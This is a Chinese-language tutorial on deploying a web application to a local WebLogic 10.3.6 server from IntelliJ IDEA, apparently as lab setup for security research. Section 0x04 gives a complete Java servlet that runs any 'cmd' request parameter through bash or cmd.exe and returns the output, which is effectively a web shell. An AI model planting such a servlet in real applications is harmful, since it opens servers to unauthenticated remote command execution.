这篇文章写的是如何使用idea部署web应用到weblogic,用的是本地部署,即idea和weblogic装在一起

至于为啥不用远程部署,因为我没测试成功。。。

  1. 测试环境
  2. 操作系统:Windows 2016
  3. weblogic版本:10.3.6
  4. JDK版本:1.7.80

0x01 在idea内新建一个项目

这里使用的是安装weblogic时使用的JDK1.7 (建议使用Java的,Maven的可能会出错)

weblogic + idea 本地部署web应用 - 图1

起一个名字,点击finish

weblogic + idea 本地部署web应用 - 图2

给这个项目增加web框架

weblogic + idea 本地部署web应用 - 图3

左侧的Web Application打上勾后 点击OK

weblogic + idea 本地部署web应用 - 图4

首页随便写点东西,作为web应用

weblogic + idea 本地部署web应用 - 图5

0x02 连接weblogic服务器

weblogic + idea 本地部署web应用 - 图6

选择 Weblogic Server 的Local

weblogic + idea 本地部署web应用 - 图7

点击Configure之后,选择安装weblogic的路径,会自动识别出weblogic的版本,如图所示

weblogic + idea 本地部署web应用 - 图8

输入weblogic的相关信息

weblogic + idea 本地部署web应用 - 图9

点击最下面的fix

weblogic + idea 本地部署web应用 - 图10

weblogic + idea 本地部署web应用 - 图11

点击 Apply 和 OK

0x03 运行WEB应用

此时尝试运行web应用,发现会报错 Unmarshaller failed

weblogic + idea 本地部署web应用 - 图12

找到web.xml 把其中的web-app 修改为如下图所示即可运行成功

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
  3. </web-app>

weblogic + idea 本地部署web应用 - 图13

0x04 尝试写一个命令执行的Servlet

在web.xml中加入对应的servlet路径

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
  3. <servlet>
  4. <!-- servlet的内部名称,自定义。尽量有意义 -->
  5. <servlet-name>httpServlet</servlet-name>
  6. <!-- servlet的类全名: 包名+简单类名 -->
  7. <servlet-class>httpServlet</servlet-class>
  8. </servlet>
  9. <!-- servlet的映射配置 -->
  10. <servlet-mapping>
  11. <!-- servlet的内部名称,一定要和上面的内部名称保持一致!! -->
  12. <servlet-name>httpServlet</servlet-name>
  13. <!-- servlet的映射路径(访问servlet的名称) -->
  14. <url-pattern>/httpServlet</url-pattern>
  15. </servlet-mapping>
  16. </web-app>

weblogic + idea 本地部署web应用 - 图14

把以下代码复制进去

  1. import javax.servlet.ServletException;
  2. import javax.servlet.http.HttpServlet;
  3. import javax.servlet.http.HttpServletRequest;
  4. import javax.servlet.http.HttpServletResponse;
  5. import java.io.IOException;
  6. import java.io.InputStream;
  7. import java.io.PrintWriter;
  8. import java.util.Scanner;
  9. public class httpServlet extends HttpServlet {
  10. @Override
  11. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  12. String cmd = req.getParameter("cmd");
  13. if(cmd != null){
  14. boolean isLinux = true;
  15. String osTyp = System.getProperty("os.name");
  16. if (osTyp != null && osTyp.toLowerCase().contains("win")) {
  17. isLinux = false;
  18. }
  19. String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
  20. InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
  21. Scanner s = new Scanner(in).useDelimiter("\\\\a");
  22. String output = s.hasNext() ? s.next() : "";
  23. PrintWriter out = resp.getWriter();
  24. out.println(output);
  25. out.flush();
  26. out.close();
  27. }else {
  28. resp.getWriter().write("nothing");
  29. }
  30. }
  31. }

粘贴后代码会报红,此时可以点击

weblogic + idea 本地部署web应用 - 图15

点击Libraries 的加号,导入weblogic的这个模块,代码即会不报红

weblogic + idea 本地部署web应用 - 图16

我们再次运行一下这个weblogic

可以进行命令执行

weblogic + idea 本地部署web应用 - 图17

期间需要注意的问题

1、修改web.xml的头部

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <web-app xmlns:j2ee="http://java.sun.com/xml/ns/j2ee">
  3. </web-app>

2、报错

Command line is too long. Shorten command line….

修改项目下 .idea\workspace.xml,找到标签 , 在标签里加一行